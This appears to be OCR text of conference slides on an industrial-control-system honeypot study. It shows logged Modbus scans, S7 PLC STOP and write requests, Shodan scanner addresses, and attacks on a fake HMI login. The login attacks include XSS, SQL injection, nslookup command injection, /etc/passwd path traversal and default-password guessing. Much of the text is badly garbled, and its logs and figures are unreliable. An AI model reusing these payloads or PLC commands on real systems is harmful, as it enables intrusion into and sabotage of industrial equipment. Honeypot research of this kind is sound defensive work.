54545454545454545454545454545454545454545454545454545454545454545454545454545454
54545454545454545454545454545454545454545454545454545454545454545454545454545454
54545454545454545454545454545454545454545454545454545454545454545454545454545454
54545454545454545454545454545454545454545454545454545454545454545454545454545454
54545454545454545454545454545454545454545454545454545454545454545454545454545454
54545454545454545454545454545454545454545454545454545454545454545454545454545454
response:5a00fe

function_code:90

slave_id:0

request:000700000005005a000300

respor 001 10ef00840fa77c372c8468d50829382910150adf07
5a0( 10ef00840fa77c372c8468d50829382910150adf07bb0000

function_code:90

slave_id:0

request:000800000005005a000304
response:5a00fe6ab78f93ad19fbab443eb8069b1d8405b22dc04c0762a6c89d1460382910150adf07
5a00fe6ab78f93ad19fbab443eb8069b1d8405b22dc04c0762a6c89d1460382910150adf07bb0000

function_code:90

slave_id:0
request:000900000004005a0004
response:5a00fe

function_code:90

slave_id:0
request:000a00000005005a000100
response:5a00fe

function_code:90

slave_id:0

request:| 0DObOOOOOOfeOOEaOOOaUOOOm 02030405060708090a0b0c0d0e0f10111213141516171819
1d1e1f2021 H2c2d2e2f3031 )3c3d3e3f4041424344
45464748494a4b4c4d4e4f5051 525! 061 6
6d6e6f707172737475767778797a7b7c7d7e7f8081 091929394
959697 9c9c 0ala2a 0b1b2b3b4b5b6b7b8b9babbbc

bdbebfcOc1c2c3c4c5c6c7c8c9cacbeccdeecfd0d1d2d3d4d5d6d7d8d9dadbdedddedfelete2e3es
bdbebfc0c1c2c3c4c5cb6e7c8c9cacbeccdeecfd0d1d2d3d4d5d6d7d8d9dadbdedddedfelele2e3ed
response:5a00fe

function_code:90

slave_id:0
request:000c00000004005a0004
response:5a00fe

function_code:90

slave_id:0
request:000d00000004005a0004
response:5a00fe
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BESRYIRIA RS

#1711 DB X 5 N\ $c e . KHENME
2016-02-10 15:25:44 [209.133.66.214] Write request, Area : DB1, Start : 0, Size : 452 --> OK _ EW@;&*}E
2016-02-10 15:25:45 [209.133.66.214] Write request, Area : DB1, Start : 452, Size : 60 --> OK _ Eéﬂ;cpu,{k?ég
#IE]DB1. 2. 3%¥E X 5 A\ Kk - XA

2016-02-22 06:54:19 [93.115.95.202] Write request, Area : DB1, Start : 0, Size : 16 --> OK

Sl I Write req , 0, Size: ML R Gei2 5
2016-02-22 06:54:19 [93.115.95.202] Write request, Area : DB2, Start : 0, Size : 16 --> OK =
2016-02-22 06:54:19 [93.115.95.202] Write request, Area : DB3, Start : 0, Size : 16 --> OK ¢ Iﬁ Efur"]

N = el
#IHB: CPURE T H HiEFE
2016-02-22 06:54:43 [93.115.95.202] CPU Control request : Block Insert or Delete --> OK - BEFELEET
#/4 J3 EhPLC CPU - RERERE
- _ . . . o S\l =3
2016-02-22 06:58:09 [37.48.80.101] CPU Control request : Warm START --> OK - RGTITHE
#{F1bPLC CPU
b343-1001 00XED
2016-02-22 06:58:21 [37.48.80.101] CPU Control request : STOP --> OK
#IBEUPLCR S [A]
2016-02-22 07:03:02 [37.48.80.101] System clock write requested
8 GrmmiEponal I 7673 56d epona.grmml.net [46.4.24.161] 757040 9001 9030 X 2016-03-07 HETZNER-AS, DE
EH MaricBonita I 7646 30d 139.59.172.93 [139.59.172.93) FEmT70N 443 80 X 2016-05-04 DIGITALOCEAN-ASN-2, GB
BH niijo3 I 7610 19h  tor03.niil.io [163.172.149.122) Zm70A0 443 80 X 2016-04-16  AS12876,FR
=] unnamed I 7572 145d 37481801101 (37.48.80.101) Z@5nT7045 9001 9030 X 2015-10-29  LEASEWEB-NL Netherlands, NL
Il bradburn I 7570  38d  62-210-125-130.rev.poneytelecom.eu [62.210.125.130] 75700 443 80 X 2016-07-14  AS12876,FR
Il relayingthempackets I 7565 209d  barlow.melton.li [62.210.74.201) ZE U0 42842 34457 X 2015-01-18  AS12876,FR
[ fluxe3 I 7564 13d torsebastianhahn.net [78.47.18.110] /m700 80 443 X 2014-04-09 HETZNER-AS , DE
DigiGesTor2e2 B 7551 17h  tor2e1.digitale-gesellschaft.ch [176.10.104.243) Z0m00 8443 8080 X 2015-06-17 AS-SOFTPLUS, CH
= Winter I 7498 2d tor-exitohdoom.net [146.185.177.103] Z0ImT70A 9030 80 X 2014-04-09  DIGITALOCEAN-ASN-1, EU

; BEACON LAB
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FPLC-Blaster HYHEN
Xt B Sl Module: GES7 314-6EHO4-0ABO

S/=00 Basic Hardware: BES7 314-6EHO4-0ABO
FB65 "TCON . Uersion: 3.3.11
FBO3 "TSEND System Name: SIMATIC 300(1)

37_1205564 TRCV Module Type: CPU 314C-2 PN/DP
TCON Serial Number: S Q-F1U061912015
TSEND,/TUSEND Copyright: Original Siemens Equipment
TRCV/TURGY Blocks Name: Count{(Num)

o OB: 1
FC5 "AG_SEND" FB: ©
FC6 "AG_RECV" FC: 13

DB: 5

SDB: 9

SFC: 77

SFB: 23

COMMFC: FC5,FC6

g BEACON LAB
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STXTHMI A 78 B

request{u'userame’: u'nuasqitl, u'password': u'unexisting/ J
LIwil TARRRRIR A\ ALALALALALL AL ARAIRIARIRRIRARIRRIRR R RIRRRRNY
ALALTLALALALAL AL ALAALALTLALAGAL AL ALALAL AL ALALILALTLALAGAL AL AL AL LA IV - U¥eb Server (FRBR, HANM: 59 FIH)  GRANE)

AL LT AL ALALALALALALALALALALALAL L AL AL ALALALALALAN, SLALALALALALALALALALAL LI I AL ALALALALAL AL L LY
ALALALALALAL TLALALAL L ALAGAL L AL ALAAL AL ALAGALAL VAR LAGIALTLARAL AL ALAGILAL ARG AL
ALALTLALALAL L ALALALALTLALALAL AL TLALAL AL ALALALALILADALAGALALILALAGAL AL AL ALALALAL AL LA
AVLALILALALVLALALALTLALALALAL VAL ALALALALALAALALALAL SLALALALALAALALILALAAL T AL ALY,
ILALALALALALALALALALALAGALAL AL ALALALALALALAGALALALALL LALALALALAGALALALALILILAALALLAL AL L ALLAL AL,
AL ALALALALAL LTI ALTLALALALALALALALALALICGL LA AL L
AL LA ILALAL AL AL LA ALLALILALILALIALAL AL LA L
ALALALALALALALAALALTLARALALTLALAGALALILALAGALALILARL LAY AL,
ALALTLALALALAL AL ALALALALTLARAGAL AL ALALAL AL ALALILALTLALACAL AL AL LA AL ALV
AVLALALALALVLALAL AL ALALALAL AL ALAL L ALALAL LA, SLALALALALALALALALALALALALALAL LI ALALAL AL L
ALALALALALAL TLALALALALALAGAL LA ALAALTLALAGAAL TR LAGALALTLALAL AL ALAILAL ARG AT
ALALILALILL LA AL MLALALILALALALALALILALALALALALILALAGAL L AL L LLLL
AALALALALAL TLALALAL T ALALALAL TLALAGALAL AL ALALALILELAL ST ALAALAL AL I ALALLL AL ALY
ILALALALALALALALALLALAGALALBLALALALALALALAGALALALALL LALALALALAGALALALALILLAALALLAL LA,
ALALTLALALALLALALALAL L ALAGAL AL TLALAGALALALARALAL AL ALAGALALTLALAGAL AL ALALAALALALALL AL LA
AU LTI ALALAAL ALY ALALALALAL LA, A AL W

2016-06-27 - ALALALALALALALAALALTLARALALTLALAGALALILALAGALALILARL LAY AL,

11:26:32.053000 ALALTLALALAL AL ALAAL L ALALALALTLARAGALALALALALAL AL ALARILALILALAGAL AL AL AL AL AL AL LA
AVLALILALALVLALAL AL L ALALALAL VAL ALALALALALAL LG, SLALALALALALALALALALALALALALAL LA AL LA L
ALALALALALAL TLALALALLALAGAL L ALALALALILALAGAAL TR LAGIALTLALAL AL ALAGALAL ARG AL,
AT AL NLALALILALALALALALILALALALILALILALAGAL LA AL L
AALALALALAL TLALALAL T ALALALAL TLALALAL AL ALALALALILELAL S ILALAALAL AL ILALALLL AL ALAULAL Y
ILALALALALALALALALALALAGALAL AL ALAGALALALALAGALALALALY LA ALALAGL AL, LA,
WA, ALALTLALALALTLALAL AL ALARALALALALALALILALALALAALALALAGALALALALAGRALILAGLALLALALAL
AL WAL Y A\ ALALALAL ALY, ALALALALAL LA, A AL W
ALALALILALALALAALALTLARALALTLALAGALALILALAGALALILARL LAGLALALAGLLLALALL Y AL,
ALALTLALALAL LA ALAALLALALALALTLALAGALALALALALAL AL ALAGILALTLALAGCAL AL AL AL AL AL
AALALILILALALALALAL AL ALAL AL ALALALALALALALAL LAY, 3 ALILALALILALALALAL AL ALAALAL AL L
ILALALALALALALAGALALTLAGALAL AL ALAGALALTLALAGAL AL ALALL LAGALTLALAGALAL AL AALAULAL AL LALLALL
ALALTLALALAL L ALALALALALALALAL AL TLALALALLALALALAL AL ALAGALALALALAGAL AL ALALALAL AL L LLA
AL LT AL ALALALALALALALALALALALAL L AL AL ALALALALARAR, SLALALALALALALALALALALL AL I AL ALALALALALAALLL L LY
ILALALALALALALALALALALAGALAL AL ALAGALALALALAGALILALALY LALLALALAGL AL, LA,
ALALTLALALAL LA ALALAL L ALAGALAL VL ALAG AL ALARALAL AL ALAGALALILALAGAL AL ALALAALALALALAL AL L LAL
AALALILILALALALAL AL ALALAL LA ALALALALTL AL LA, AL AL
ALALALALALTLALALALLALARALALTLALAGALALTLALAGAL AL ALALL LALALTLALAGALALALALALLAALALLAL LA,
ALALALILALALALAL LTI ALALALAAAL AL AL T RLALALALALALICAL LA TR AL
response:fail

WITISVR WIC Agplication BRIREREZE. RIMASIE
T WRFE.

request:{u'userame’: u\"()8%<acx><ScRiPt >1Ar5(9432)</ScRiPt>", u'password”: u' {u'username’: u\"()8%<acx>
hmi <ScRIPt >1Ar5(9432)</ScRIPt>", upassword’: ug00dPa
response:fail

2016-06-27
11:26:32.069000
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EHXTHM Bweb

2016-08-16 17:28:35.690000

2016-08-16 17:28:51.188000

2016-08-16 17:29:03.019000

2016-08-16 17:29:14.852000

2016-08-16 17:30:59.748000

2016-08-16 17:31:11.486000

2016-08-16 17:31:24.599000

2016-08-16 17:31:38.923000

2016-08-16 17:31:55.201000

2016-08-16 17:35:47.764000

g BEACON LAB
7 ) KTIESCIE=

hmi

hmi

hmi

hmi

hmi

hmi

hmi

hmi

hmi

request:{u : u'admin’, u : u'admin'}
response:fail
request:{u'username": u'admin’, u'password': u'admin123'}
response:fail
request:{u : u'admin’, u : u'admin1234'}
response:fail
request:{u'username": u'admin’, u'password': u'admin123456'}
response:fail
request:{u : u'root’, u'p: : u'admin123456'}
response:fail
request:{u :u'root’, u : u'admin1234'}
response:fail

:{ : u'root’, u'p : u'admin123'}
response:fail
request:{u s u'root', Ul : u'root’}
response:fail
request:{u‘username": u'admin’, u'password': u*' or "'=""}
response:fail
request:{u' : u'root’, u'p: : u'admin’}
response:fail

{"username”"
{"username""
{"username”;
{"username™:"
{"username”"
{"username":"
{"username™:
{"username”
{"username™"
{"username""
{"username™:
{"username™:"
{"username”"
{"username""
{"username™:"
{"username™:"
{"username""
{"username":"
{"username™:"
{"username”"
{"username™"
{"username""
{"username™:
{"username™:"
{"username”
{"username"
{"username™:"
{"username™:"
{"username”"
{"username”:
{"username™."
{"username”"
{"username™"
{"username""
{"username™:"

y i
"npgxkatf”,"password":"\u0026nslookup ujSQEuUCK\U0026"\\\""0\u0026nslookup ujSQEUCK\U0026™}
"response.write(9738914+9518300)","password":"g00dPa$$wOrD"}

“ejqrwsuf”,"password":"-1 OR 2+967-967-1=0+0+0+1"}

"set|set\u0026set”,"password":"g00dPa$$wOrD"}
"f771IDGP","password":"g00dPa$$w0rD"}
"'+response.write(3738914+9518300)+ ", "password":"g00dPa$$wOrD"}

“ejqrwsuf”,"password"”"-1' OR 2+32-32-1=0+0+0+1 -- "}
"$(nslookup 3XtwkTTb)","password":"g00dPa$$wOrD"}

"nuasqitl","password":".././././.[.1.1. 1] . Jetc/passwd"}

“ejqrwsuf”,"password";"-1' OR 2+395-395-1=0+0+0+1 or 'BSRDFigp'="1}

"\u0026nslookup sx2JYYjO\u0026"\\\""0\u0026nslookup sx2]YYj0\u0026™","password":"g00dPa$$wOrD"}
"nuasqitl","password":"./././. /.M. 1A 1A AT ]S S proc/version”}
"buwamaght”,"password":"g00dPa$$wOrD"}

"awetfwgk","password";"${9999175+9999401}"}

"ejqrwsuf”,"password":"-1\" OR 2+166-166-1=0+0+0+1 -- "}
"nuasqitl’,"password":". %2F.%2F. $2F. %2F . %2F.%2F. %2F. %2F. %2F..%2Fetck2Fpasswd%00.jpg"}
"buwamaght”,"password":""}

"ejqrwsuf”,"password";"if(now()=sysdate().sleep(9.955),0)/* XOR(if(now()=sysdate().sleep(9.955),0))OR'\"XOR(it
"${9999009+10000163}","password":"g00dPa$$wOrD"}

‘nuasqitl","password":"../././.J.J 111 /. Jetc/passwd\u0000.jpg"}
"buwamaght”,"password”:"12345\"\\'\\\")"}

“ejqrwsuf”,"password":"(select(0)from(select(sleep(9.955)))v)/* +(select(0)from(select(sleep(9.955)))v)+"\" +(sele

"eeukssbh”,"password":"http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg"}

“nuasqitl”,"password":". %2F. %2F. %2F. %2F. %2F. %2F. %2F. %2F. %2F . %2Fetck2Fpasswd%00.jpg"}
"buwamaght”,"password":null}

"ejqrwsuf”,"password":"1 waitfor delay '0:0:9.955" -- "}
"eeukssbh”,"password":"1some_inexistent_file_with_long_name\u0000.jpg"}
"nuasqitl","password":"/././ L .M. A 1A A S ete/passwd\u0000.jpg"}

"buwamght”,"password":"g00dPa$$wOrD"}

‘ejqrwsuf”,"password";"6fGOtsT"}
"eeukssbh”,"password":"Http://testasp.vulnweb.com/t/fit.txt"}
"nuasqitl”,"password”:" AW/ MW/ MWW/ MWW\ /ete/passwd '}
" "password":"g00dPa$$wOrD"}

"ejqrwsuf”,"password";"EOn3dPFf"}
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{u'REMOTE_USER': u'-', u'HTTP_USER_AGENT": u'Mozilla/5.0 (Macintosh; Intel
Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/SGNSTNNUMN® Safari/537.36', u'HTTP_REFERER':
u'http:// S /index', u'HTTP_VERSION': u'HTTP/1.1', u'bytes': u'1’,
u'REQUEST_METHOD": u'POST',
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Scanning IP activity of protocols of shodan
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Scanning IP activity of protocols of umich
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shodan Scan Stack N
2016-07-25

ZE=@KCon ]

Dahua Dvr: 1

ProConOSs : 0

-O- s7comm ~O- Tridium Fox OMRON FINS Codesys (- DNP3 RealPort ~O- Dohua Dvr ~O- Mitsubishi MELSEC
Red Lion —~O- GESRTP IEC104 EtherNet/IP PCWorx ~(- hitp L D0)
IEC104:0
12.000 » PCWorx : 0
EtherNet/IP : 0
10,000 3 Red Lion:3
I » modbus: 11,214 - B
8,000 GESRTP:0 A
Tridium Fox ol
card RealPort : 0 P
Mitsubishi MELSEC : 0 -
oo s7comm :0 =
DNP3:1 S
OMRON FINS : 0 e
2,000 ® Codesys: 0
04—
Attacker Scan Stacking Curve
~O- ProConOS —O- PCWorx —~(O- modbus ~(- Tridium Fox RealPort ~(- Mitsubishi MELSEC
1.800
1.500 4
1,200 4 2016-07-25
ProConOSs : 0
900+ PCWorx:0
modbus : 1,709
600 Tridium Fox : 0
RealPort : 0
300 Mitsubishi MELSEC : 0
GESRTP : 0
DNP3:0
o4— : —
2016-07-14 2016-07-17 2016-07-20 2016-07-26 2016-07-29 2016-08-01

™ -1 BEACON LAB
KTIESCIS =

\\ |

716165200 «

20160730

60801 2016%x

60714 20160716 160718 20160720 0160722 20160724 0160726 20160728
2016-06-06T00:40:35.169Z | ['66.240.192.138",53605] 000100000004005a0002 modbus
2016-06-06T00:40:36.169Z ["66.240.192.138",53605) 01bt00000005005a000606 Imodbus
2016-06-06T00:40:37.171Z | ['66.240.192.138",53605] 000400000005005a000300 modbus
2016-06-06T00:40:38.172Z | ["66.240.192.138",53605) 000f0000000d005a002000 1400640000001 finodbus
2016-06-06T00:40:41.175Z | ['66.240.192.138",53605] imodbus
2016-06-06T00:40:43.177Z | ['66.240.192.138",53605] 000000000005012b000100 imodbus
2016-06-06T00:40:47.179Z | ['66.240.192.138",53605] 0000000000020211 modbus
2016-06-06T00:40:49.182Z | ['66.240.192.138",53605) 00000000000502260e0100 imodbus
2016-06-06T00:40:53.187Z | ['66.240.192.138",53645] 0000000000020311 modbus
2016-06-06T00:40:55.188Z | ['66.240.192.138".83605] 0000000000050325060100 modbus
2016-06-06T00:40:59.190Z | ['66.240.1 3 00000000000204 11 modbus
2016-06-06T00:41:01.191Z rw‘%1% 00000000000504260e0100 modbus
2016-06-06T00:41:05.193Z | ['66.240.192.138",53605] 0000000000020511 fnodbus
['66.240.192.138",53605] 0000000000050525060100 modbus
¥ 4+ 0000000000020611 imodbus
rm%mmm 000000000005062b0e0100 Imodous
['66.240.192.138",53605) 00000000000207 11 imodbus
['66.240.192.138",53605) 0000000000050726060100 modbus
['66.240.192.138") 0000000000020811 imodbus
['66.240.192.138",531 00000000000508250e0100 modbus
2016-06-06T00:41:27.207Z | ['66.240.192.138",53605) 0000000000020911 modbus
2016-06-06T00:41:29.208Z | ['66.240.192.138",53605] 000000000005092600100 modbus
2016-06-06T00:41:33.209Z | ["66.240.192.138",53605) 0000000000020a11 modbus
2016-06-06T00:41:35.210Z | ['66.240.192.138",53605] 0000000000050a2b020100 modbus
2016-06-06T00:41:38.212Z | ['66.240.192.138",53605] 0000000000020011 modbus
2016-06-06T00:41:40.214Z | ['66.240.192.138",53605) 00000000000505260e0100 modbus
2016-06-06T00:41:44.215Z  ['66.240.192.138",53605) 0000000000020¢11 moabus
2016-06-06T00:41:46.215Z | ['66.240.192.138",53605] 1.2200000000050c20000100 _________Himodbus
2016-06-06T01:05:39.071Z | ["66.240.192.138",53605] 0000000000021d 11 modbus
2016-06-06T01:05:42.074Z | ['66.240.192.138",53605) 000000000002fe 11 modbus
1016-06-06T01:05:45.079Z  ['66.240.192.138",53605] 0000000000211 modbus
| '66.240.192.138",53605) 0000000000051126060100 modbus

2016-06-06T01:05:47.081Z
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This IP was reported 51 times. See below for details.

ISP

Hostname

Organization

Connection Type

Country

indica

PlusServer AG

atlantic626.dedicatedpanel.com

PlusServer AG

Corporate

. | France

BEACON LAB

KT¥EsC

A

L —

=

updated_at

3:05
o5

@1 uTC

@KCon ]

2016-07-19T716:20:31.529Z
2016-07-19T716:20:32.530Z
2016-07-19T716:20:33.533Z
2016-07-19T716:20:34.535Z
2016-07-19T16:20:37.538Z
2016-07-19T716:20:39.538Z
2016-07-19T716:20:43.543Z
2016-07-19T716:20:45.5452Z
2016-07-19T716:20:49.549Z
2016-0 :20:51.552Z
201 6—07% j d@
2016-07-19T16:20:57.559Z
2016-07-19T716:21:01.562Z
2016-07-19T16:21:03.564Z
2016-07-19T16:21:07.567Z
2016-07-19T716:21:09.569Z
2016-07-19T716:21:13.5732
2016-07-19T16:21:15.576Z
2016-07-19T16:21:19.580Z
2016-07-19T16:21:21.586Z
2016-07-19T16:21:25.587Z
2016-07-19T16:21:27.589Z
2016-07-19T16:21:31.593Z
2016-07-19T16:21:33.595Z
2016-07-19T716:21:37.599Z
2016-07-19T716:21:39.601Z
2016-07-19T716:21:43.604Z

2016-07-19T716:21:45.606Z

[188.
[188.
[188.
[r188.
[r188.
[r188.
[188.
[r188.
[188.

el S e

[r188.
[r188.
[188.
[r188.
[r188.
[r188.
[r188.
[188.
[r188.
[r188.
[r188.
[188.
[r188.
[188.
[188.
[r188.
[188.

138.17.205",46332)
138.17.205",46332]
138.17.205",46332]
138.17.205",46332]
138.17.205",46332
138.17.205",46
138.17.205x86332)
138.174£05",46332)
138717.205",46332)

138.17.205",46332]
138N7.205",46332]
5",46332]
138.17.205"¢6332]

138.17

138.17.205",463¢2)
138.17.205",46332
138.17.205",46332)
138.17.205",46332]
138.17.205",46332)
138.17.205",46332]
138.17.205",46332]
138.17.205",46332)
138.17.205",46332]
138.17.205",46332)
138.17.205",46332]
138.17.205",46332)
138.17.205",46332]

av00uZ

01bf00000005005a000606
000400000005005a000300

000f0000000d005a002000140064000000f

ToGoUT ]
modbus
modbus

modbus

m
000000000005012b0€0100
0000000000020211
000000000005022b0€0100
0000000000020311
000000000005032b0e0100
0000000000020411
000000000005042b0e0100
0000000000020511
000000000005052b00100
0000000000020611
000000000005062b0e0100
0000000000020711
000000000005072b0e0100
0000000000020811
000000000005082b0e0100
0000000000020911
000000000005092b0e0100
0000000000020a11
0000000000050a2b0e0100
0000000000020b11
0000000000050b2b0e0100
0000000000020c11

19900000000050¢20000100

m us
modbus
modbus
modbus
modbus
modbus
modbus
modbus
modbus
modbus
modbus
modbus
modbus
modbus
modbus
modbus
modbus
modbus
modbus
modbus
modbus
modbus
modbus

medbus |
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2016-07-23T11:29:13.412Z
2016-07-23T11:29:14.413Z
2016-07-23T11:29:15.415Z
2016-07-23T11:29:16.417Z
2016-07-23T11:29:18.419Z

indicator

["94.102.49.190",43071]
["94.102.49.190",43071]
["94.102.49.190",43071]
["94.102.49.190",43071]
["94.102.49.190",43071]

portlist_src

00010000000400520002
01bf000000050052000606

000400000005005a000300

000f0000000d0052002000140064000000f modbus
0000000000020111

scanner
scanner
scanner
scanner
scanner
scanner
scanner
scanner
scanner
scanner
scanner
scanner
scanner
scanner
scanner
scanner
scanner
scanner
scanner
scanner
scanner
scanner

2016-07-05 1.
2016-07-06
2016-07-06
2016-07-07
2016-07-11
2016-07-12
2016-07-13
2016-07-13
2016-07-14
2016-07-14
2016-07-20
2016-07-20
2016-07-23
2016-07-25
2016-07-31
2016-08-01
2016-08-02
2016-08-02
2016-08-04
2016-08-05
2016-08-05
2016-08-05
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188.138.1.218 was found in our database! {‘function_code': 90, 'slave_id": O, 'request':

(T {'function_code': 90, 'slave_id": O, 'request':

{'function_code": 90, 'slave_id": O, 'request':
: 0,

00010H)000004005a0002", ‘response’: '5a00feb7
0D00005005a000606', ‘response': '5a00fe:
000005005a000300", 'response': '5a00fe

This IP was reporteq

P PlusSenver AG {'function_code': 90, 'slave_id": 0, ‘'request': F000f0C00000d005a002000140064000000f600",
Hostname atlantic381.startdedicated.de

Organization PlusServer AG Z-One

Connection Type Corporate 188.138.1.218 is Shodan scanning node? @achillean

Country Bl Germany

City 162

| description | updated_at
+

+
2015-11-12 2
2015-11-22 05:
2015-11-14 18
2015-11-23 09:
2015-11-16
2015-11-20
2015-11-18
2015-11-@9
2015-11-12
2015-12-01
2015-12-03
2015-12-03
2015
2015-12-06
2015-12-07
2015-12-09
2015-12-13
2015-1
2015-1
2015-1
2015-12-23
2015-12-30
2016-01-01
2016-01-02
2016-01-03

0
un

8usuasRhsEnLLLS

g

g BEACON LAB
7 ) XTIESCI8 =
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198.20.70.114
71.6.165.200
66.240.236.119
71.6.135.131
66.240.192.138
71.6.167.142
198.20.87.98
71.6.146.185
82.221.105.6
71.6.158.166
66.240.219.146
82.221.105.7
198.20.69.74
71.6.146.186
198.20.99.130
198.20.69.75
198.20.69.76
198.20.69.98

us
uUs
us
us
uUs
uUs
uUs
IS

uUs
uUs
IS

uUs
uUs
NL
uUs
uUs
uUs

census3.shodan.io
censusl2.shodan.io
census6.shodan.io
census7.shodan.io
census8.shodan.io
censusS.shodan.io
border.census.shodan.io
pirate.census.shodan.io
censusl0O.shodan.io
ninja.census.shodan.io
burger.census.shodan.io
censusll.shodan.io
censusl.shodan.io
inspire.census.shodan.io
census4.shodan.io
censusl.shodan.io
censusl.shodan.io
census2.shodan.io

http://plcscan.org/blog/2016/06/ics-security-research-report-2016-05/
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82.221.105.6
71.6.167.142
71.6.135.131
66.240.236.119
71.6.158.166
82.221.105.7
85.25.43.94
71.6.165.200
198.20.99.130
66.240.192.138
71.6.146.185
66.240.219.146
198.20.69.98
198.20.70.114

188.138.1.218
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RDNS

census10
census9
census?
census6

ninja. census
census11
rim.census
census12
census4
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Inspire.census
burger.census
border.census
census3

unknown
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